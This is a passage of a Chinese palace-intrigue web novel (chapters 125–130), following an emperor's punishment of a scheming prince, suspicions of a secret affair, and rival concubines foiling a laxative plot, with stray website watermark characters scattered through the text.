“若微臣禀报属实,那谢都督如此欺上瞒下隐藏在陛下身边,定是别有用心,只要圣上查察——” “查察查察,你知不知道你在说什么?” 桌上没得东西可扔了,昭德帝左右看看,一把从福顺公公手里抓过拂尘,又朝着萧子景砸了过去! “你以为人人都像你一样,是个没皮没脸的腌臜东西吗!” 听着萧子景反反复复的要求,昭德帝气得脸色泛青。 这偌大的宫中,不是只有谢无咎和东厂的人,太监多了去了! 宫中本就有一套常规的检查流程,若是从萧子景这儿开了口子,日后有人怀疑,他就额外查察,让这些下人怎么自处? 谢无咎是东厂之主,敢为难他的人不多,可换做宫里无权无势的小太监们呢? 难道来一个官员上下嘴皮子一碰,他们就要宽衣解带不成? 入宫讨生活本就不易,再横加为难,岂不是要把人逼上绝路? 昭德帝看着萧子景的眼神越发冰冷。 萧家从前也是破落户,仰人鼻息的日子不是没过过,如今一朝得势,就是这么忘本的? 不过,不忘本,他也不会纳八房姨娘! 昭德帝气得哆嗦,萧子景也浑身颤抖。 他茫然地跪在地上,不知道自己为何惹得圣上如此发怒,不甘心,却也不敢再继续说下去。 这不就是一查便知的东西吗? 只要谢无咎解一下裤子就能完事。 圣上为什么不愿意,还大为光火? 萧子景想不明白,也没机会想了。 昭德帝从书桌后绕了过来,一脚踢在他胸口,萧子景身子后仰倒地,露出了那张茫然不解的脸。 一眼就看出他在思考什么,昭德帝的第二脚踹得更是毫不留情! “畜生!” 他是人,其他人都不是吗? “微臣有罪,请陛下息怒!” 萧子景耳边回响着昭德帝炸雷一样的声音,他下意识地重新跪好请罪。 昭德帝冷笑了一声。 “好啊,那你说说,你有何罪过?” 萧子景张着嘴,半天发不出一点声音。 他到底错在哪儿? “哼!” 对此毫不意外,昭德帝背起双手,眼神森冷。 “萧子景品行不端,诬告同僚,即日起,夺定远将军一职,留用查看!” “什么?” 萧子景难以置信地抬起头来。 只是一次上奏,为何圣上要如此重罚于他? “滚吧!”昭德帝却已经背过身子,重重地踏着脚步走出了御书房。 萧子景惊惶转身,却对上了福顺公公的脸。 “王爷,咱家送您出去吧?” 第一百二十五章 奇思妙想萧王爷 萧子景方才那番话,不仅让昭德帝大发脾气,福顺公公这会儿心里也不好受。!精*武¨晓\说¨罔_ ~更^芯·罪.哙? 他们当太监的招谁惹谁了? 走在这条道上已经够不容易的了,他们没有谢都督那样的本事,只想安安生生地伺候主子,混口饭吃。 这景平王倒是会没事找事! 宫中党派众多,你来我往,主子们未必能拿对手怎么办,便要对对方的下人泄愤,这样的事情已经够多的了。 福顺公公已经能想到,若圣上今日真的答应了景平王的要求,日后那些主子们,恐怕稍有不顺心,就要让对手宫中的太监脱裤子了。 保不齐,就连他都别想守住晚节! 心中腹诽,福顺公公却对着萧子景笑得格外灿烂。 “王爷请稍等,咱家去给您准备软轿!” 萧子景结结实实地挨了昭德帝三脚,加上局势变化太快,他这会儿还懵着,眼睁睁看着福顺公公走来走去,脑海中仍是一片空白。 事情到底是怎么变成现在这样的? 他到底哪里惹了圣上的不快? 直到一炷香后,坐上福顺公公叫来的软轿,下半个身子猛地传来密密麻麻的疼痛,萧子景才被迫从一片混沌的情况中回过神来。 他忍不住倒吸着冷气。 “这——” “起轿!” 还没等他把话问出口,福顺公公抢先吆喝一声,软轿立刻摇摇晃晃地动了起来。-求~书_帮- *首,发! “咝!”疼痛骤然加剧,萧子景顾不上说话,双手抓着软椅边缘把自己撑了起来。 “福——” “王爷,咱家还得去伺候圣上,就不送您到宫门去了。” 仿佛看不懂萧子景惨白的脸色,和欲言又止的表情,福顺公公笑着朝远去的队伍躬了躬身,便干脆利落地转身离去。 这软轿专门放了薄薄的坐垫,下面是钉着铁蒺藜的毛毯! 这样的滋味,就让景平王慢慢享受去吧! 带队的是福顺公公的干儿子,办事已经相当稳妥,出宫这一路上,几个小太监偷偷眉来眼去着,将手里的软轿颠来颠去,好不波折。 萧子景起初还能撑住自己的身子,可这轿子晃得厉害,他很快便败下阵来,只能任由那刺麻的感觉阵阵袭上。 好不容易坚持到了宫门前,他只感到两眼发黑,连下轿的力气都没了。 “王爷!” 夏至等在宫外,见状连忙扑过来将人扶住。 他伸手便摸到满把鲜红,顿时眸光一缩,“这……” 萧子景狠狠喘了几口气,想说什么,回头却发现那些小太监们已经连人带轿,走了个干干净净。 欺人太甚! 胸口一窒,萧子景险些摔倒在地! 夏至连拖带抱地将人弄到王府的马车上,掀开衣裳才发现萧子景下半身全是细细密密的伤口。*墈?书*屋`晓¨说¨徃, !首¢发′ “王爷为何不上报陛下?”他忿忿不平,“这些刁奴,胆敢欺主!” 萧子景却苦笑了一声。 陛下? 陛下没砍他的脑袋,他都该感恩戴德了! 可这到底是为什么? 重重情绪漫上,萧子景忍不住猛地捶了一把车里的小几,控制不住地发出一声绝望的嘶吼! 夏至被吓得一激灵,连忙扶住萧子景的胳膊。 “王爷……是事情不顺利?圣上,圣上不相信?” 萧子景似笑似哭,将方才发生在金銮殿上的事情大概讲了一遍。 圣上若只是单纯地不相信,那倒好了! 夏至听得脸色发青,默默地咽着口水。 “圣上连本王的将军之位都夺了,真不知道,他为何对那阉贼如此信任!”萧子景压低声音,终于忍不住心中的恨意。 圣上信任谢无咎,偏心叶晚竹,就看他不顺眼! “是啊,圣上怎么会对九千岁这么信任呢……” 夏至也喃喃自语,瞧着十分疑惑。 “会不会是有什么误会?”他又凑近萧子景几分,“是不是您说了什么圣上不爱听的?” 所以圣上才借题发挥? 直觉告诉萧子景,昭德帝并非是这样的人,可他却还是不由自主地跟着思考起来。 话是没说什么,可圣上倒是的确提到了王府之事, 难道是王府—— 萧子景忽然倒吸一口冷气,感到脑中仿佛有一道炸雷,轰地一声平地响起! 王府? 叶晚竹? 萧子景今日到宫中来上报,除了要说谢无咎不是太监外,还有一件事,就是他和叶晚竹有私情! 夏至私下里盯着叶晚竹已经很长一段时间了,她每天出门,假惺惺地说要去铺子,实则拐过一条街,便会被东厂的马车接走! 有两人如此暗度陈仓的证据,萧子景本以为今天能把这两个贱人一网打尽,没想到还没等到他开口,便被昭德帝打了个措手不及。 而萧子景现在正万分庆幸,还好他没来得及开口。 因为他十分怀疑,和叶晚竹有私情的不是那阉贼,而是……昭德帝! 谁能给叶晚竹如此底气,让她在王府横行霸道? 谁能让凶名鼎鼎的九千岁谢无咎替叶晚竹保驾护航? 甚至说,谁能凭空弄出一个小乞丐,就让叶晚竹心甘情愿地收下当养女? 萧子景越想越觉得,除了昭德帝,再也没有第二个人能做到了。 而谢无咎便是暗中替昭德帝办这件事的人,所以,刚才昭德帝才这样维护他! 昭德帝和叶家关系匪浅,早就认识叶晚竹,他是九五之尊,想要一个女人,总归是有办法的! 可这是强夺臣妻啊! 想到这儿,萧子景的手哆嗦得厉害,掌心一片冰凉。 亏他还以为圣上能给自己做主! 幸好,幸好他想通了! “王爷?王爷?您没事吧?” 耳边忽然传来夏至焦急的呼唤,萧子景勉强回过神,发觉后背已经被冷汗完全打湿了。 “您瞧着不太好,小的去请大夫回府吧?”夏至眉头紧皱。 萧子景却忽然摇头。 “不,找家靠谱的医馆!” 他这会儿一点儿都不想回王府去! 这王府是昭德帝赐给他的,异姓王的名号也是,他从头到脚,靠的都是昭德帝的恩赐。 萧子景向来把这一切当成是无上殊荣,如今却只觉得恶心! 一边赏赐自己,一边暗中和他的王妃私相授受,珠胎暗结! 简直太让人恶心了! 可他偏偏还什么都做不了。 这可是当今圣上,大梁最尊贵的人! 喉头一阵腥甜,萧子景眼前一黑,顿时失去了所有力气—— “哦?他是这么说的?” 第一百二十六章 太多巧合 东厂之中,看着忽然只身前来的昭德帝,再听他说起萧子景的奏折,谢无咎似笑非笑地挑了挑眉。,叁~叶\屋+ ~唔+错*内,容′ 下人已经被尽数遣退,大殿空荡荡的,只有二人说话的声音。 “景平王的想象力着实丰富。” 没有外人,即便是在昭德帝面前,谢无咎也没有半点身为人臣的自觉,如寻常一般靠在自己惯用的软塌上。 昭德帝反倒坐在一旁,眉宇间没有对谢无咎如此大逆不道的不满,只有忧心忡忡。 “他真是想象力十足,还是知道了什么?” 沉沉开口,昭德帝锐利的目光朝谢无咎扫去。 谢无咎撑着脑袋,“东厂固若金汤,奴才保证,没有一只外面的苍蝇飞进来偷看过。” 昭德帝面上的情绪这才稍稍放松了些,却依旧皱着眉头。 “好端端的,萧子景忽然如此上奏,此事定不一般。” “陛下放心,奴才这就安排人手调查。” 谢无咎仍是那懒洋洋的,唱歌一般的语气,昭德帝欲言又止几次,最后还是站起身来,好似忍无可忍。 “你在朕面前也非得要如此吗?” “奴才有罪,奴才这就给圣上跪下。” 谢无咎的没骨头简直像是由表及里,连一句都不抗辩,顺从地要滑下软椅,跪在昭德帝面前。 昭德帝侧走半步,一脚不轻不重踢在他膝头。`第′一_看+书¨罔~ ¢庚`薪¢最·全′ “给朕滚起来!” “奴才遵旨!” 谢无咎又立刻变换动作起身,这予取予求的模样,让昭德帝的表情越发微妙,近乎无奈。 “事情便是如此,你多加警惕,若是有什么情况,及时来报。” 宫中事务繁忙,说完了萧子景的事情,昭德帝便要起身离开。 谢无咎也跟着站起身,昭德帝余光扫过他的害动作,顿时又停下了脚步。 “你还有事?”他斜晲过去。 “只是想提醒陛下也要当心罢了。” 谢无咎晃晃悠悠地走到窗边,状若漫不经心。 “景平王早就对奴才含恨在心,现在却忽然发作,实在是凑巧得很,陛下,您觉得呢?” 昭德帝皱了皱眉,“有话直说,莫要给朕打哑谜。” “安王世子在南疆的所作所为,您应该已经知道了吧?”谢无咎倚着窗户,忽然问起了风马牛不相及的问题。 昭德帝神情微沉,点了点头却没有作声。 南疆的战报他已经看过,虽然孟希越声称一切都是误打误撞,他为了截留南疆残兵才出此下策,但毕竟是十几万大军的性命,他不可能不在意。 “他去南疆,南疆出事,他回京城,京城生乱,圣上,您不觉得这样的巧合有点多吗?” 谢无咎抬起眼眸,神情间有一丝锐利一闪而过。/零`点¢看′书′ !庚.辛\罪+筷* 昭德帝这会儿倒是垂下了眼眸。 的确。 而且还不止这些。 “你怀疑谁?” 片刻之后,帝王轻声开口发问。 “不能确定。”谢无咎耸了耸肩,“再看看吧。” 等昭德帝从东厂出来,已经赶到门外候着的福顺公公立刻又绷紧了一身的皮。 他能感到圣上的心情好像变得更差了! 想想也是,圣上到东厂来,定是要说景平王之事,而这件事肯定不会让人心情愉快! 若是放在往日,福顺公公定会想办法哄着圣上开心,可他今日试了几次,昭德帝都是一副心事重重的模样,压根不在意身边发生了什么。 看来,景平王这回将圣上气得不轻! “萧子景呢?” 等回到宫中,昭德帝倒是主动问起了萧子景。 福顺公公连忙低声回答,自然不会说起那软轿上的手脚。 昭德帝却好似依旧不甚在意,脚下一转,又往后宫的方向走。 “去蕙心宫。” 昭德帝已经有几个月的时间没有去过蕙心宫了,柔妃禁足的旨意一下,他便好像忘了这个昔日的宠妃一样。 往日花团锦簇的蕙心宫眼下门庭冷落,门前的丫鬟见着昭德帝不由得都愣住了。 “圣,圣上……” 圣上都多长时间没有来过蕙心宫了! 昭德帝点点头,看着紧闭的殿门,低声道,“你们娘娘在干什么?” 两个小丫鬟互相看了一眼,目光都有些飘忽。 “娘娘,娘娘在思过呢!”其中一人垂下脑袋答话,昭德帝却能看到她的身子正在瑟瑟发抖。 “哦?”他的语气不善起来,“那她思出了什么?” 话音落下,不等丫鬟们再开口,昭德帝大步朝殿内走去! 一把推开殿门,昭德帝最先感到的是一阵浓郁的药香,顶得他眯了眯 眼。 “谁!”柔妃的声音从浓浓的烟雾后传来,“狗胆包天,不想要命了是不是?” 这声音嘶哑,粗犷,若不是昭德帝对柔妃熟悉,恐怕都听不出这是谁在说话。 这是怎么回事? “怎么,你要索朕的命?” 定了定神,昭德帝沉声开口。 烟雾后骤然没了动静。 “十个数,给朕滚出来!” 退到殿外,昭德帝站在廊下,声如玄铁。 他在屋中只是多待了一会儿,便感到一阵阵的恶心,想来是这烟雾所致。 这是什么东西? 他让柔妃禁足,就是这么禁的? 费了些力气才压住心口的火气,昭德帝让福顺公公大声报数,一直数到第八下,一个形如枯骨的人影才从烟雾中现了身。 比起声音,昭德帝已经认不出站在眼前的这个人就是柔妃了。 往日娇美的面庞、玲珑的身姿全然消失,柔妃此时形销骨立,只剩一双大大的眼睛,难以置信地朝着昭德帝看来。 “陛下,陛下……真的是您?” 喃喃低语着,柔妃踉踉跄跄朝昭德帝跑来。 “还不扶住娘娘?” 福顺公公低斥一声,一边上前两步挡在昭德帝面前。 柔妃眼中闪着异样的光芒,亢奋得让人害怕! 这肯定不正常! 昭德帝早就皱起了眉头,见赶到门外的嬷嬷宫女们都一副踟蹰不前的为难模样,他目光下移,看到这些人手背上都带着不少被抓挠的痕迹。 是柔妃干的? 昭德帝眼角一跳。 柔妃这时候已经扑到了门前,屋外的光线洒落下来,更是清清楚楚地照出了她眼底的疯狂! 她张开双手朝昭德帝扑了上去。 “圣上,臣妾好想您,好想您啊!” 第一百二十七章 我有神医 七日之后。+山~捌*墈.书`惘* ′首^发` “圣上今日也没上朝?” “没有。” 初伏已至,一天中最凉快的时候便是清晨,饶是这般,叶晚竹也还是得摇着手中的扇子,才不至于流汗。 听着隐风的话,叶晚竹越发感到古怪。 七日之前,向来勤政的昭德帝忽然下旨罢朝,这一歇便到了现在。 昭德帝毕竟也是人到中年,若说是生病了想休息倒也不算奇怪,可问题就在于,自那日之后,皇城四门紧闭,被御林军牢牢把守,不许任何人进出。 这样的阵仗便不由得让人多想。 难道是出了什么事? “王妃。” 就在这时,书画的声音从外面传来,“赵夫人到了。” 叶晚竹闻言立刻敛起了心神。 赵夫人半个月前终于清醒过来,又调理了这么长时间的身子,如今总算是基本恢复了正常,能外出走动了。 “夫人慢些,进屋里说话吧。” 陈嬷嬷和赵夫人的丫鬟一左一右地将她扶着走进屋中,十分小心翼翼,赵夫人本人看上去却并不在意。 她迈着大步来到桌边坐下,又摆摆手,“我已经好了,别这么紧张!” 叶晚竹看着她的脸,在生死边缘徘徊了数月,赵夫人形容有些憔悴,但却比她预想中要好得多。~看/书`屋?晓-税^王/ ·已~发?布_醉¢欣/璋`节` “赵姐姐恢复得不错。”她轻声道。 闻言,赵夫人双眼一亮,立刻朝叶晚竹转过身子。 “是吧?我跟你说,那从江南而来的大夫,的确有些本事,若是没有她出手,这会儿,我只怕不会在这儿跟你说话了。” 赵夫人口中的江南大夫,叶晚竹也有所耳闻。 这位是赵家花了不少时间人力才请到京中来给赵夫人看诊的,如今看来效果斐然。 “关键是啊,范大夫除了治病,更精通调理之术,我刚醒来的时候连喘气的力气都没有,你看,如今已经能跑能跳了!”赵夫人又在自己身上拍了拍,似乎是在炫耀。 她又朝着叶晚竹看了过来。 “赵夫人,这位范大夫真有这么神奇?” 叶晚竹还没开口,书画先眨着眼睛接过了话头。 “不知范大夫现在何处?您也知道,我家王妃……” 叶晚竹身子发虚已经不是一天两天的事情了,随着夏日气温升高,她越发感到气力不支,阳光灿烂却反而让她眼前发黑,偶尔连站着都直打晃。 京中大夫的药都没太大效果,书画看在眼里越发着急。 如今居然听见一位现成的神医! 赵夫人笑了起来。_躌*4?墈!书\ ?蕞,芯.璋+劫^庚~鑫\筷¢ “你这丫鬟真是不错,”她看着书画,又朝外面喊道,“嬷嬷,请范大夫进来吧!” 赵夫人自己的嬷嬷将一个年轻的姑娘引进屋中。 这就是神医? 书画忍不住瞪圆了双眼,目光在范大夫身上多扫了几眼。 这位范大夫一看就是出身江南,别有一身婉约气质,上前给叶晚竹行礼时动作却十分利落。 “我已经和范大夫说好,请她再在京中留一段时日,替王妃调理身体。” 赵夫人终于道出实情,又朝叶晚竹挤了挤眼睛。 “王妃准备怎么谢我?” 叶晚竹也不与她客气,“赵姐姐想要什么,尽管开口便是。” 她遍寻京城也找不到合适的大夫,赵夫人此举真是瞌睡递枕头! “那我可就记下了!” 哈哈大笑着,赵夫人略一颔首,只将此事暂且搁到一旁。 承诺已定,叶晚竹倒也不急,和范大夫简单说了几句,便让陈嬷嬷安排房间,先让人入府休息。 “范大夫有如此高超的医术,想来诊金定是不低吧?姐姐说个大概,让我心里有数。” 送了范大夫出去,叶晚竹折回屋中,这才和赵夫人又说起了后话。 赵夫人却摇摇头,面上的笑容淡下几分。 “这你就别管了,赵家没你这个王妃富贵,但请个大夫的银子还是有的。” “诶你别说话!” 见叶晚竹要开口,赵夫人忽然把桌子一拍。 “梁源那件事,我一直都没机会给你道谢呢,若不是你,我早就死了。”她的声音陡然低沉下去。 当初被关进柴房,叫天天不应,叫地地不灵的时候,赵夫人已经把自己当成一个死人了。 没想到她还能活过来。 “你救我一命,现在还欠我一个要求,算起来,还是我更划算些。” 打起精神,赵夫人又朝叶晚竹露出笑容,只是眼眶有些微微泛红。 叶晚竹见状也没再把这话说下去,转而又问起赵夫人如今的情况。 梁源 被东厂抓去的时候,赵夫人还昏迷不醒,不知现在又该如何? “我已经上报官府,无缘无故,梁源意图杀我泄愤,我要与他恩断义绝!” 提起此事,赵夫人又变得忿忿,冷哼一声,眉目间满是不甘。 “可惜他八成是从东厂出不来了,不能让我亲手报仇解恨!” “赵姐姐这么说,可是知道些什么?” 听着她笃定的口吻,叶晚竹开口发问。 赵夫人抿了抿唇,眼神往屋中扫去。 叶晚竹会意让所有人都退下。 房门关上,赵夫人倾身向前,将声音压得很低。 “这件事,你千万不能告诉旁人。” “一定。” 见她神情严肃,叶晚竹也郑重地点了点头。 赵夫人又深吸了一口气。 “今年年节刚过不久,有一天晚上我走到书房附近,看见屋里还亮着灯,以为梁源还有什么公务,想劝他早些休息。” 那个时候,夫妻两个还没彻底翻脸。 “可谁知道,我走到书房门外,却被一个黑衣人给挡住了,吓了我一大跳!” 黑衣人? 叶晚竹眸光微凝,“然后呢?” “然后梁源就从屋里出来了,语气差得很,和我吵了几句,让我赶紧滚,又摔门回去了。” “他关门的时候,我看见屋里还坐着一个黑衣人!” 赵夫人又往叶晚竹身边靠了靠,贴在她耳边继续说着。 “那地方的气氛一看就不正常,等第二天我去问梁源,他竟然让我少管闲事,还要把昨天看见的东西全都忘了!” “你说他是不是心里有鬼?——王妃,王妃?” 第一百二十八章 戴兜帽的神秘人 说着说着,看见叶晚竹两眼放空,若有所思的模样,赵夫人不由得顿住了话题。·捖* - ′鰰~颤¨ .勉/费-阅,黩′ 叶晚竹回过神来,轻轻摇了摇头。 “我没事,那之后你可还见过那些黑衣人?” 赵夫人立刻撇了撇嘴。 “那之后?之后梁源那个杀千刀的就把书房派人看管起来了,除了他谁也别想靠近,我又问了一回,他还是没好气,跟我大吵一架,后来就开始一房一房地抬妾室回府,摆明了是要跟我过不去……” 抱怨的话说着说着,赵夫人声音渐止,忽然感到有些不对。 她看向叶晚竹,欲言又止。 叶晚竹凝着目光。 听上去,梁源广纳妾室,似乎和被赵夫人撞破书房私会一事有关? “那黑衣人是什么模样,姐姐还记得吗?”叶晚竹清了清嗓子。 “带着兜帽,全身上下都裹在黑袍子里,连眼睛都没露出来,加上当时天黑,我也什么都看不清。” 赵夫人边说边摇着头,却发现叶晚竹似乎又有些走神起来。 带着兜帽的黑衣人? 赵夫人的这个描述,越发让叶晚竹想起与萧子易在鸿宾楼交易的那个神秘人。 她刚刚就是在想这个。 这两者会是同一个人吗? 如果是的话,这神秘人又要干什么呢? “王妃啊,你还好吧?是不是身子不舒服?” 叶晚竹沉默的时间有些长,赵夫人担忧地摸了摸她的手背。¢午·4?看-书′ ?庚/欣!蕞.哙. 果然一片冰凉。 “不说这个了,”她立刻道,“还是先让范大夫给你瞧瞧!” 再度回神,叶晚竹也不欲多说,顺着赵夫人的意思点点头,又道:“姐姐说的没错,今天的事情,你千万不能和任何人说起。、” 那和梁源私会的神秘人一定不一般,说不定,赵夫人其后的种种遭遇正是因此而来。 “官府那边若是遇到什么困难,赵姐姐随时来找我帮忙好了。”想到这儿,叶晚竹又多加了一句。 早日让赵夫人与梁家脱离关系,赵夫人便能早日安全。 她表情认真,赵夫人也不由得隐隐不安,越发要提高警惕。 二人没再说什么,赵夫人便要回府休息去了。 叶晚竹将她一路送出王府,目送着赵夫人上了马车,这才回头看向隐风。 “你去一趟东厂,把刚才的事情告诉九千岁,劳他替我看顾一下赵府。” 若那黑衣人依旧想对赵夫人下手,必定还会有所行动。 隐风离开,叶晚竹回到潇湘院的时候,便见范大夫已经准备好了。′鸿¨特?晓-税`惘′ ~罪′薪_漳·结?埂¨新?快- “王妃请坐,我为您诊脉。” —— 事实证明,这位范大夫的确医术高超。 叶晚竹身上多是不足之症,是当年生萧延时候落下的沉疴,先前的大夫们都说去不了病根,只能用药减缓。 范大夫却不然。 “王妃的旧疾虽然久了些,但也不是没有拔除的可能,但要您配合我才行。” 叶晚竹自然不会拒绝。 调理的汤药必不可少,除此之外,范大夫还替叶晚竹调整了作息时间,如今她一天有大半都在睡觉,剩下的时间,除了吃饭便也以休息为主。 食疗的部分则是交给了小厨房,三管齐下,几日的功夫过去,叶晚竹的脸色便当真肉眼可见地红润了起来。 潇湘院为此一片欢欣,下人们干起活来也更有劲了。 有人欢喜有人愁,阮莹莹听着这些消息,气得连续几个晚上都没有睡好觉。 怎么叶晚竹就能事事称心如意呢? 银子有了,地位有了,现在就连身体都要恢复健康了! 反观自己呢? 人财两空,白白挨打! 忍不住摸了摸还没完全愈合的伤口,阮莹莹疼得又倒吸了一口冷气。 “姨娘,您没事——” “闭嘴!” 璎珞循声正要担忧地发问,却被阮莹莹压低声音喝住了。 “要是被人发现,我就打断你的腿!” 璎珞连忙将嘴巴闭得紧紧的,又往灌木后蹲了蹲,确保自己的身形没有露出来一点。 两人眼下正蹲在王府后门的树丛中,聚精会神地等待着。 今日是庄子里送菜的日子,璎珞已经从潇湘院偷听到了,小厨房要最新鲜的几样蔬果。 而她正是跟着阮姨娘来做手脚的。 想着一会儿要做的事情,璎珞掌心里全是冷汗。 潇湘院可不是春风居,管理向来严格,现在又多了一个神医。 阮姨娘想往蔬果里放泻药,这法子能成吗? 璎珞越想越觉得不靠谱,可抬头看着阮莹莹紧紧 绷着的下巴,她仍是不敢多话。 这段时间,阮姨娘的日子过得简直是太苦了。 被九千岁身边的人几鞭子抽得下不来床,好不容易才恢复,又被那些姨娘们轮番找麻烦! 王姨娘等人那晚据说是被逼喝下了九千岁送来的鹤顶红,却一个都没死,而且还像是约好了的一样,齐齐将矛头对准了春风居! 就连璎珞都被为难了几回。 阮姨娘显然是把这一切都算到了王妃头上,急着报复回去,见过主子崩溃疯魔的模样,璎珞这会儿是绝对不敢和她唱反调的。 至于若是失败该怎么办…… 打了个寒战,璎珞不想思考! 随便吧! “怎么还没来?” 璎珞胡思乱想的时候,阮莹莹抬头看了一眼天色,疑惑地低声嘟哝。 往日也差不多是这个时辰啊。 她话音刚落,后门那边忽然传来了响动。 “快!准备好!”阮莹莹顿时来了精神,一面盯着合拢的门扉,一边头也不回地吩咐着璎珞。 璎珞越发屏息凝神起来。 车轮声在门外停下,随着几声敲门,负责接应的嬷嬷和丫鬟走上前去。 按照阮莹莹接下来的计划,等她们将庄子上送来的蔬果拿进府中,璎珞制造混乱引起注意,她则上去撒药。 就算毒不死叶晚竹,也要让她受尽折磨! 阮莹莹攥紧了掌心的小纸包。 后门对运菜这种事驾轻就熟,几句话的功夫就交接完了,两个婆子推着放满蔬果的小推车慢悠悠地往府中去。 阮莹莹看着璎珞藏身的位置,绷紧身体,随时做好准备。 “阮姨娘,您在这儿蹲了也有两炷香了吧?腿麻不?” 第一百二十九章 阮姨娘,腿麻吗? 笑意盈盈的声音忽然从头顶传来,阮莹莹吓得猛一哆嗦,脚下一软便摔倒在地! 还没等她回过神,便被生拉硬拽着从灌木丛中拖了出来! “姨娘还真是努力啊,带着一身伤蹲了这么久,累了吧?” 苏姨娘的声音再度响起,满是阴阳怪气。·第-一\墈`书~蛧` !首?发+ 阮莹莹咬紧牙关,怎么又是她? 这时候,璎珞也被几个丫鬟粗手粗脚地拽了出来,一把掼倒在阮莹莹身边的空地上。 那推车的嬷嬷和丫鬟们早已经停下脚步,将阮莹莹主仆围在当中。 阮莹莹这会儿才抬头看清她们的面目,原来都是几个姨娘院中的人! 中计的人是她! “你要干什么——!” 身后忽然袭上粗鲁的力道,阮莹莹猛然一惊,还没反应过来,手里的纸包便被杨姨娘一把夺了过去! “哟,阮姐姐攥得这么紧,这里面是什么宝贝啊?” 杨姨娘一边说着话,一边作势要将纸包拆开,阮莹莹眸光紧缩,“还给我!” “不还,你能怎么样?”杨姨娘不仅没有半分惧怕的意思,反而还高高地将胳膊举了起来,挑衅地朝着阮莹莹笑了笑。 “阮姐姐还是先说说,你和你的丫鬟蹲在这里,是想干什么吧。” 瑶芳姑娘这时候带着自己的丫鬟缓步走进了圈中。¨衫*疤/墈¢书_旺\ ,勉′费+悦-读* 阮莹莹盯着她不紧不慢的模样,越发咬紧了牙关。 若不是这个瑶芳,她怎么会落到如今的田地? 被这些什么都算不上的妾室欺负! 简直是岂有此理! 迎着阮莹莹恨意深重的眼神,苏姨娘几人却都无动于衷。 那晚被九千岁逼着喝下了鹤顶红,几人在心惊胆战,绝望崩溃中度过了六个时辰,等到第二日,艳阳高照之时,这才发现自己居然没死? 是侥幸,还是—— 姨娘们纷纷起身,又都在自己屋中各处发现了一个信封。 “承景平王妃求情,留尔一条性命,日后该怎么做?” 姨娘们几乎能透过信纸,看见九千岁戏谑冷峻的模样。 该怎么做? 当然是唯王妃马首是瞻,绝对不再生出什么不该有的心思! 若是没有王妃,她们这条小命早就已经交代了! 可惜苏姨娘等人后来到潇湘院去了几次,王妃都没有要见她们的意思,还让书画放出话来,要她们无事不必打扰。 不能当面感谢,那就做点别的事情,替王妃分忧好了。 比如说……阮姨娘。!墈′书?君¢ ?冕′肺\粤`读! 那天的事情并未对瑶芳姑娘造成什么影响,不过她依旧在盯着阮莹莹,只是盯着盯着,她忽然发现,人怎么变多了? 人一多,有些事情办起来也就更方便了。 比如发现阮莹莹又在想办法对潇湘院不利。 “阮姨娘,你若不说这是什么东西,那就自己尝尝好了。” 半晌没得到阮莹莹的回应,瑶芳冷笑一声,拿过那纸包便朝着阮莹莹俯身下去。 “滚开!你这个贱人!” 阮莹莹闪身要躲,却被苏姨娘眼疾手快地一把抓住了。 “放开我!”阮莹莹拼命挣扎着,“你们这些狗东西,敢动我一根指头,我让王爷要了你们的脑袋!” 她话音刚刚落下,“啪”地一声,杨姨娘的耳光毫不留情地摔了上来! “王爷?”杨姨娘笑了一声,“阮姐姐这话说的倒是轻松,你现在能见到王爷吗?” 阮莹莹立刻不甘地咬紧了唇瓣。 许是被收养小花那件事伤了自尊,萧子景这些天连王府都不回了,听说夜以继日地在城中一家赌场消遣时间,动不动就喝得酩酊大醉,连人都认不清。 远的不说,三日前,萧子景输光了身上的所有银子,被赌场派人送回王府的时候,已经是烂醉如泥。 赌场的人本想要钱,可叶晚竹闭门养伤,夏至让府中护院硬生生将那赌场的伙计打了出去,还强行撕了欠条! 赌场自然气不过,每天让人到王府门外叫骂,而萧子景酒醒之后,也不说还钱,而是又钻到花街酒巷里去寻欢作乐了! 他这幅模样,摆明是把自己都放弃了,更别说管府中的这些事情! 恐怕这会儿他已经想不起这些姨娘都是什么人了吧? 否则,怎么会任由这些该死的贱人骑在自己头上! 阮莹莹的胸膛剧烈地起伏起来。 瑶芳姑娘这时低下头,冷淡的眼神与她对上。 “阮姐姐,你说还是不说?” 阮莹莹被迫仰着脑袋,忽然一口唾沫喷在瑶芳脸上! “你个娼妇!青楼里卖笑的玩意儿,也敢威胁我?”她面目狰狞,“你算什么东西!” 这话说的难听极了,从桃杏楼跟着瑶芳姑娘赎身的丫鬟气不过,上前一脚踹在阮莹莹胸口! 瑶芳姑娘身形顿了顿,随即摸出手帕,不紧不慢地擦脸。 “我是卖笑,可若是王爷觉得我笑的没有阮姐姐好,怎么会把我赎回府里呢?” “阮姐姐向来自诩是王爷心中独一无二的人,可若真是如此,我们进府都是怎么回事?” “况且阮姐姐也只是个妾室罢了,咱们谁比谁高贵呢?” 比起戳心窝子,瑶芳自然也是当仁不让。 她出身低微,又一步步走到先前的路上,无力与命运抗衡,只能暂时听命。 可阮莹莹比她好到哪里去了? 先悔婚为了入宫选秀,失败后又迫不及待地吃回头草,一副输不起的嘴脸,再洋洋得意,狐假虎威,只能显得更恶心。 “阮姐姐若是王妃,要教训我等,我只能听命。” “可你是吗?” 笑盈盈地,瑶芳目光流转,又朝着阮莹莹身上打量而去。 阮莹莹呼吸一窒,脸色肉眼可见地泛起了青。 欺人太甚! “你这个该死的婊子……呜呜呜!” 没等她把话说完,瑶芳脸色一沉,一把按住阮莹莹的脑袋,便将那纸包中的药粉全都塞进了她口中! “害人是什么滋味,阮姐姐还是自己受着吧!” 确认阮莹莹将药粉吞入腹中,瑶芳寒着一张脸率先转身离开。 “呸!心思如此歹毒,你又是个什么好东西?” “不要脸!” 苏姨娘等人也渐次离开,只剩下阮莹莹还无力地趴在地上。 “姨娘……” 璎珞小心翼翼地上前将她扶起,还没等再说什么,眼前忽然一暗! 第一百三十章 姨娘想不想听奴婢的办法? “你,你是何人?” 璎珞惊惶地瞪大了双眼,看着忽然出现在自己面前的嬷嬷。¢齐′盛^晓!说?枉? ¢庚*薪+蕞`全. 或者说,一个假扮成嬷嬷的人。 此人虽然穿着王府的下人衣裳,一双老眼却精光内敛,分明低垂着眉眼,却能让人感到一丝莫名的压力。 更别说方才四下没有一点声音,她却就这样凭空出现了。 “阮姨娘可还好吧?” 没理会璎珞的问话,这嬷嬷只将注意力落在阮莹莹身上。 阮莹莹连着干呕几下,也没能将那药粉吐出来,循声抬头看向嬷嬷的时候,眼泪淌了一脸,瞧着无比狼狈。 “你看我好不好?”冷冷睨着这嬷嬷,阮莹莹的口气十分不客气,“你是什么人?滚远点!” 这又是哪儿来的臭鱼烂虾,想看她的热闹? 